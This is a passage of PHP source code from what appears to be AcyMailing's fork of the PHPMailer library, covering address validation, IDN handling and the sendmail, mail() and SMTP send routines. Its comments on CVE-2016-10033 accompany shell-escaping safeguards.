     * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
     * @see PHPMailer::$Debugoutput
     * @see PHPMailer::$SMTPDebug
     * @param string $str
     */
    protected function edebug($str)
    {
        if ($this->SMTPDebug <= 0) {
            return;
        }
        //Avoid clash with built-in function names
        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                //Don't output, just log
                error_log($str);
                break;
            case 'html':
                //Cleans up output a bit for a better looking, HTML-safe output
                echo htmlentities(
                    preg_replace('/[\r\n]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                )
                . "<br>\n";
                break;
            case 'echo':
            default:
                //Normalize line breaks
                $str = preg_replace('/\r\n?/ms', "\n", $str);
                echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
                    "\n",
                    "\n                   \t                  ",
                    trim($str)
                ) . "\n";
        }
    }

    /**
     * Sets message type to HTML or plain.
     * @param boolean $isHtml True for HTML mode.
     * @return void
     */
    public function isHTML($isHtml = true)
    {
        if ($isHtml) {
            $this->ContentType = 'text/html';
        } else {
            $this->ContentType = 'text/plain';
        }
    }

    /**
     * Send messages using SMTP.
     * @return void
     */
    public function isSMTP()
    {
        $this->Mailer = 'smtp';
    }

    /**
     * Send messages using PHP's mail() function.
     * @return void
     */
    public function isMail()
    {
        $this->Mailer = 'mail';
    }

    /**
     * Send messages using $Sendmail.
     * @return void
     */
    public function isSendmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'sendmail')) {
            $this->Sendmail = '/usr/sbin/sendmail';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'sendmail';
    }

    /**
     * Send messages using qmail.
     * @return void
     */
    public function isQmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'qmail')) {
            $this->Sendmail = '/var/qmail/bin/qmail-inject';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'qmail';
    }

    /**
     * Add a "To" address.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addAddress($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('to', $address, $name);
    }

    /**
     * Add a "CC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('cc', $address, $name);
    }

    /**
     * Add a "BCC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addBCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('bcc', $address, $name);
    }

    /**
     * Add a "Reply-To" address.
     * @param string $address The email address to reply to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addReplyTo($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
     * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
     * be modified after calling this function), addition of such addresses is delayed until send().
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws acymailingphpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addOrEnqueueAnAddress($kind, $address, $name)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        if (($pos = strrpos($address, '@')) === false) {
            // At-sign is misssing.
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new acymailingphpmailerException($error_message);
            }
            return false;
        }
        $params = array($kind, $address, $name);
        // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
        if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
            if ($kind != 'Reply-To') {
                if (!array_key_exists($address, $this->RecipientsQueue)) {
                    $this->RecipientsQueue[$address] = $params;
                    return true;
                }
            } else {
                if (!array_key_exists($address, $this->ReplyToQueue)) {
                    $this->ReplyToQueue[$address] = $params;
                    return true;
                }
            }
            return false;
        }
        // Immediately add standard addresses without IDN.
        return call_user_func_array(array($this, 'addAnAddress'), $params);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array.
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws acymailingphpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addAnAddress($kind, $address, $name = '')
    {
        if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
            $error_message = $this->lang('Invalid recipient kind: ') . $kind;
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new acymailingphpmailerException($error_message);
            }
            return false;
        }
        if (!$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new acymailingphpmailerException($error_message);
            }
            return false;
        }
        if ($kind != 'Reply-To') {
            if (!array_key_exists(strtolower($address), $this->all_recipients)) {
                array_push($this->$kind, array($address, $name));
                $this->all_recipients[strtolower($address)] = true;
                return true;
            }
        } else {
            if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
                $this->ReplyTo[strtolower($address)] = array($address, $name);
                return true;
            }
        }
        return false;
    }

    /**
     * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
     * of the form "display name <address>" into an array of name/address pairs.
     * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
     * Note that quotes in the name part are removed.
     * @param string $addrstr The address list string
     * @param bool $useimap Whether to use the IMAP extension to parse the list
     * @return array
     * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
     */
    public function parseAddresses($addrstr, $useimap = true)
    {
        $addresses = array();
        if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
            //Use this built-in parser if it's available
            $list = imap_rfc822_parse_adrlist($addrstr, '');
            foreach ($list as $address) {
                if ($address->host != '.SYNTAX-ERROR.') {
                    if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
                        $addresses[] = array(
                            'name' => (property_exists($address, 'personal') ? $address->personal : ''),
                            'address' => $address->mailbox . '@' . $address->host
                        );
                    }
                }
            }
        } else {
            //Use this simpler parser
            $list = explode(',', $addrstr);
            foreach ($list as $address) {
                $address = trim($address);
                //Is there a separate name part?
                if (strpos($address, '<') === false) {
                    //No separate name, just use the whole thing
                    if ($this->validateAddress($address)) {
                        $addresses[] = array(
                            'name' => '',
                            'address' => $address
                        );
                    }
                } else {
                    list($name, $email) = explode('<', $address);
                    $email = trim(str_replace('>', '', $email));
                    if ($this->validateAddress($email)) {
                        $addresses[] = array(
                            'name' => trim(str_replace(array('"', "'"), '', $name)),
                            'address' => $email
                        );
                    }
                }
            }
        }
        return $addresses;
    }

    /**
     * Set the From and FromName properties.
     * @param string $address
     * @param string $name
     * @param boolean $auto Whether to also set the Sender address, defaults to true
     * @throws acymailingphpmailerException
     * @return boolean
     */
    public function setFrom($address, $name = '', $auto = true)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        // Don't validate now addresses with IDN. Will be done in send().
        if (($pos = strrpos($address, '@')) === false or
            (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
            !$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (setFrom) $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new acymailingphpmailerException($error_message);
            }
            return false;
        }
        $this->From = $address;
        $this->FromName = $name;
        if ($auto) {
            if (empty($this->Sender)) {
                $this->Sender = $address;
            }
        }
        return true;
    }

    /**
     * Return the Message-ID header of the last email.
     * Technically this is the value from the last time the headers were created,
     * but it's also the message ID of the last sent message except in
     * pathological cases.
     * @return string
     */
    public function getLastMessageID()
    {
        return $this->lastMessageID;
    }

    /**
     * Check that a string looks like an email address.
     * @param string $address The email address to check
     * @param string|callable $patternselect A selector for the validation pattern to use :
     * * `auto` Pick best pattern automatically;
     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
     * * `pcre` Use old PCRE implementation;
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
     * * `noregex` Don't use a regex: super fast, really dumb.
     * Alternatively you may pass in a callable to inject your own validator, for example:
     * PHPMailer::validateAddress('user@example.com', function($address) {
     *     return (strpos($address, '@') !== false);
     * });
     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
     * @return boolean
     * @static
     * @access public
     */
    public static function validateAddress($address, $patternselect = null)
    {
        if (is_null($patternselect)) {
            $patternselect = self::$validator;
        }
        if (is_callable($patternselect)) {
            return call_user_func($patternselect, $address);
        }
        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
        if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
            return false;
        }
        if (!$patternselect or $patternselect == 'auto') {
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }
        switch ($patternselect) {
            case 'pcre8':
                /**
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
                 * @link http://squiloople.com/2009/12/20/email-address-validation/
                 * @copyright 2009-2010 Michael Rushton
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
                 */
                return (boolean)preg_match(
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'pcre':
                //An older regex that doesn't need a recent PCRE
                return (boolean)preg_match(
                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
                    $address
                );
            case 'html5':
                /**
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
                 */
                return (boolean)preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);
            case 'php':
            default:
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }

    /**
     * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
     * "intl" and "mbstring" PHP extensions.
     * @return bool "true" if required functions for IDN support are present
     */
    public function idnSupported()
    {
        // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
        return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
    }

    /**
     * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
     * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
     * This function silently returns unmodified address if:
     * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
     * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
     *   or fails for any reason (e.g. domain has characters not allowed in an IDN)
     * @see PHPMailer::$CharSet
     * @param string $address The email address to convert
     * @return string The encoded address in ASCII form
     */
    public function punyencodeAddress($address)
    {
        // Verify we have required functions, CharSet, and at-sign.
        if ($this->idnSupported() and
            !empty($this->CharSet) and
            ($pos = strrpos($address, '@')) !== false) {
            $domain = substr($address, ++$pos);
            // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
            if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
                $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
                if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
                    idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
                    idn_to_ascii($domain)) !== false) {
                    return substr($address, 0, $pos) . $punycode;
                }
            }
        }
        return $address;
    }

    /**
     * Create a message and send it.
     * Uses the sending method specified by $Mailer.
     * @throws acymailingphpmailerException
     * @return boolean false on error - See the ErrorInfo property for details of the error.
     */
    public function send()
    {
        try {
            if (!$this->preSend()) {
                return false;
            }
            return $this->postSend();
        } catch (acymailingphpmailerException $exc) {
            $this->mailHeader = '';
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Prepare a message for sending.
     * @throws acymailingphpmailerException
     * @return boolean
     */
    public function preSend()
    {
        try {
            $this->error_count = 0; // Reset errors
            $this->mailHeader = '';

            // Dequeue recipient and Reply-To addresses with IDN
            foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
                $params[1] = $this->punyencodeAddress($params[1]);
                call_user_func_array(array($this, 'addAnAddress'), $params);
            }
            if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
                throw new acymailingphpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
            }

            // Validate From, Sender, and ConfirmReadingTo addresses
            foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
                $this->$address_kind = trim($this->$address_kind);
                if (empty($this->$address_kind)) {
                    continue;
                }
                $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
                if (!$this->validateAddress($this->$address_kind)) {
                    $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
                    $this->setError($error_message);
                    $this->edebug($error_message);
                    if ($this->exceptions) {
                        throw new acymailingphpmailerException($error_message);
                    }
                    return false;
                }
            }

            // Set whether the message is multipart/alternative
            if ($this->alternativeExists()) {
                $this->ContentType = 'multipart/alternative';
            }

            $this->setMessageType();
            // Refuse to send an empty message unless we are specifically allowing it
            if (!$this->AllowEmpty and empty($this->Body)) {
                throw new acymailingphpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
            }

            // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
            $this->MIMEHeader = '';
            $this->MIMEBody = $this->createBody();
            // createBody may have added some headers, so retain them
            $tempheaders = $this->MIMEHeader;
            $this->MIMEHeader = $this->createHeader();
            $this->MIMEHeader .= $tempheaders;

            // To capture the complete message when using mail(), create
            // an extra header list which createHeader() doesn't fold in
            if ($this->Mailer == 'mail') {
                if (count($this->to) > 0) {
                    $this->mailHeader .= $this->addrAppend('To', $this->to);
                } else {
                    $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
                }
                $this->mailHeader .= $this->headerLine(
                    'Subject',
                    $this->encodeHeader($this->secureHeader(trim($this->Subject)))
                );
            }

            // Sign with DKIM if enabled
			 if (!empty($this->DKIM_domain)
                && !empty($this->DKIM_selector)
                && (!empty($this->DKIM_private_string)
                   || (!empty($this->DKIM_private) && file_exists($this->DKIM_private))
                )
            ) {
				$header_dkim = $this->ACY_DKIM_Add($this->MIMEBody);
				$this->MIMEHeader = str_replace("\r\n", "\n", $header_dkim) . $this->MIMEHeader;
			}
            return true;
        } catch (acymailingphpmailerException $exc) {
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Actually send a message.
     * Send the email via the selected mechanism
     * @throws acymailingphpmailerException
     * @return boolean
     */
    public function postSend()
    {
        try {
            // Choose the mailer and send through it
            switch ($this->Mailer) {
                case 'sendmail':
                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
                case 'smtp':
                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
				case 'elasticemail':
				//Or any other external service that we may develop in the future...
					$result = $this->{$this->Mailer}->sendMail($this);
					if (!$result) $this->setError($this->{$this->Mailer}->error);
					return $result;
                case 'mail':
                case 'qmail':
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
                default:
                    $sendMethod = $this->Mailer.'Send';
                    if (method_exists($this, $sendMethod)) {
                        return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
                    }

                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
            }
        } catch (acymailingphpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
        }
        return false;
    }

    /**
     * Send mail using the $Sendmail program.
     * @param string $header The message headers
     * @param string $body The message body
     * @see PHPMailer::$Sendmail
     * @throws acymailingphpmailerException
     * @access protected
     * @return boolean
     */
    protected function sendmailSend($header, $body)
    {
        // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped by escapeshellcmd when popen is called due to safe mode.
        if (!empty($this->Sender) || ini_get('safe_mode')) {
            if ($this->Mailer == 'qmail') {
                $sendmail = sprintf('%s -f%s', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
            } else {
                $sendmail = sprintf('%s -oi -f%s -t', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
            }
        } else {
            if ($this->Mailer == 'qmail') {
                $sendmail = sprintf('%s', escapeshellcmd($this->Sendmail));
            } else {
                $sendmail = sprintf('%s -oi -t', escapeshellcmd($this->Sendmail));
            }
        }
        if ($this->SingleTo) {
            foreach ($this->SingleToArray as $toAddr) {
                if (!@$mail = popen($sendmail, 'w')) {
                    throw new acymailingphpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
                fputs($mail, 'To: ' . $toAddr . "\n");
                fputs($mail, $header);
                fputs($mail, $body);
                $result = pclose($mail);
                $this->doCallback(
                    ($result == 0),
                    array($toAddr),
                    $this->cc,
                    $this->bcc,
                    $this->Subject,
                    $body,
                    $this->From
                );
                if ($result != 0) {
                    throw new acymailingphpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
            }
        } else {
            if (!@$mail = popen($sendmail, 'w')) {
                throw new acymailingphpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
            fputs($mail, $header);
            fputs($mail, $body);
            $result = pclose($mail);
            $this->doCallback(
                ($result == 0),
                $this->to,
                $this->cc,
                $this->bcc,
                $this->Subject,
                $body,
                $this->From
            );
            if ($result != 0) {
                throw new acymailingphpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
        }
        return true;
    }

    /**
     * Send mail using the PHP mail() function.
     * @param string $header The message headers
     * @param string $body The message body
     * @link http://www.php.net/manual/en/book.mail.php
     * @throws acymailingphpmailerException
     * @access protected
     * @return boolean
     */
    protected function mailSend($header, $body)
    {
        $toArr = array();
        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = implode(', ', $toArr);

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
       if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
             // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
            if (escapeshellcmd($this->Sender) === $this->Sender && in_array(escapeshellarg($this->Sender), array("'$this->Sender'", "\"$this->Sender\""))) {
                $params = sprintf('-f%s', escapeshellarg($this->Sender));
            }
        }
       if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
            $old_from = ini_get('sendmail_from');
            @ini_set('sendmail_from', $this->Sender);
        }
        $result = false;
        if ($this->SingleTo and count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
                $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
            }
        } else {
            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
        }
        if (isset($old_from)) {
            @ini_set('sendmail_from', $old_from);
        }
        if (!$result) {
            throw new acymailingphpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
        }
        return true;
    }

    /**
     * Get an instance to use for SMTP operations.
     * Override this function to load your own SMTP implementation
     * @return SMTP
     */
    public function getSMTPInstance()
    {
        if (!is_object($this->smtp)) {
            $this->smtp = new acymailingSMTP;
        }
        return $this->smtp;
    }

    /**
     * Send mail via SMTP.
     * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
     * Uses the PHPMailerSMTP class by default.
     * @see PHPMailer::getSMTPInstance() to use a different class.
     * @param string $header The message headers
     * @param string $body The message body
     * @throws acymailingphpmailerException
     * @uses SMTP
     * @access protected
     * @return boolean
     */
    protected function smtpSend($header, $body)
    {
		require_once dirname(__FILE__).DS. 'class.smtp.php';
        $bad_rcpt = array();
        if (!$this->smtpConnect($this->SMTPOptions)) {
            throw new acymailingphpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
        }
         if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            $smtp_from = $this->Sender;
        } else {
            $smtp_from = $this->From;
        }
        if (!$this->smtp->mail($smtp_from)) {
            $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
            throw new acymailingphpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
        }

        // Attempt to send to all recipients
        foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
            foreach ($togroup as $to) {
                if (!$this->smtp->recipient($to[0])) {
                    $error = $this->smtp->getError();
                    $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
                    $isSent = false;
                } else {
                    $isSent = true;
                }
                $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
            }
        }

        // Only send the DATA command if we have viable recipients
        if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
            throw new acymailingphpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
        }
        if ($this->SMTPKeepAlive) {
            $this->smtp->reset();
        } else {
            $this->smtp->quit();
            $this->smtp->close();
        }
        //Create error message for any bad addresses
        if (count($bad_rcpt) > 0) {
			$badaddresses = '';
            foreach ($bad_rcpt as $bad) {
                $badaddresses .= $bad['to'] . ': ' . $bad['error'].', ';
            }
			$badaddresses = rtrim($badaddresses, ', ');
			$errorTmp = $this->smtp->getError();
			$errorLbl = empty($errorTmp) ? $this->Lang('recipients_failed') : implode(', ',$errorTmp);
			$this->setError($errorLbl . ' (' . $badaddresses . ') ');
			//Added by adrien to avoid the nested MAIL command error
			$this->smtp->Reset();
			throw new acymailingphpmailerException($this->ErrorInfo);
        }
        return true;
    }

    /**
     * Initiate a connection to an SMTP server.
     * Returns false if the operation failed.
     * @param array $options An array of options compatible with stream_context_create()
     * @uses SMTP
     * @access public
     * @throws acymailingphpmailerException
     * @return boolean
     */
    public function smtpConnect($options = null)
    {
        if (is_null($this->smtp)) {
            $this->smtp = $this->getSMTPInstance();
        }

        //If no options are provided, use whatever is set in the instance
        if (is_null($options)) {
            $options = $this->SMTPOptions;
        }

        // Already connected?
        if ($this->smtp->connected()) {
            return true;
        }

        $this->smtp->setTimeout($this->Timeout);
        $this->smtp->setDebugLevel($this->SMTPDebug);
        $this->smtp->setDebugOutput($this->Debugoutput);
        $this->smtp->setVerp($this->do_verp);
        $hosts = explode(';', $this->Host);
        $lastexception = null;

        foreach ($hosts as $hostentry) {
            $hostinfo = array();
            if (!preg_match('/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*):?([0-9]*)$/', trim($hostentry), $hostinfo)) {
                // Not a valid host entry
                continue;
            }
            // $hostinfo[2]: optional ssl or tls prefix
            // $hostinfo[3]: the hostname
            // $hostinfo[4]: optional port number
            // The host string prefix can temporarily override the current setting for SMTPSecure
            // If it's not specified, the default value is used
            $prefix = '';
            $secure = $this->SMTPSecure;
            $tls = ($this->SMTPSecure == 'tls');
            if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
                $prefix = 'ssl://';
                $tls = false; // Can't have SSL and TLS at the same time
                $secure = 'ssl';
            } elseif ($hostinfo[2] == 'tls') {
                $tls = true;
                // tls doesn't use a prefix
                $secure = 'tls';
            }
            //Do we need the OpenSSL extension?
            $sslext = defined('OPENSSL_ALGO_SHA1');
            if ('tls' === $secure or 'ssl' === $secure) {
                //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
                if (!$sslext) {
                    throw new acymailingphpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
                }
            }
            $host = $hostinfo[3];
            $port = $this->Port;
            $tport = (integer)$hostinfo[4];
            if ($tport > 0 and $tport < 65536) {
                $port = $tport;
            }
            if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
                try {
                    if ($this->Helo) {
                        $hello = $this->Helo;
                    } else {
                        $hello = $this->serverHostname();
                    }
                    $this->smtp->hello($hello);
                    //Automatically enable TLS encryption if:
                    // * it's not disabled
                    // * we have openssl extension
                    // * we are not already using SSL
                    // * the server offers STARTTLS
                    if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
                        $tls = true;
                    }
                    if ($tls) {
                        if (!$this->smtp->startTLS()) {
                            throw new acymailingphpmailerException($this->lang('connect_host'));
                        }
                        // We must resend EHLO after TLS negotiation
                        $this->smtp->hello($hello);
                    }
                    if ($this->SMTPAuth) {
                        if (!$this->smtp->authenticate(
                            $this->Username,
                            $this->Password,
                            $this->AuthType,
                            $this->Realm,
                            $this->Workstation
                        )
                        ) {
                       		$errorTmp = $this->smtp->getError();
							$errorLbl = empty($errorTmp) ? $this->Lang('authenticate') : implode(', ',$errorTmp);
							throw new acymailingphpmailerException($errorLbl);
                        }
                    }
                    return true;
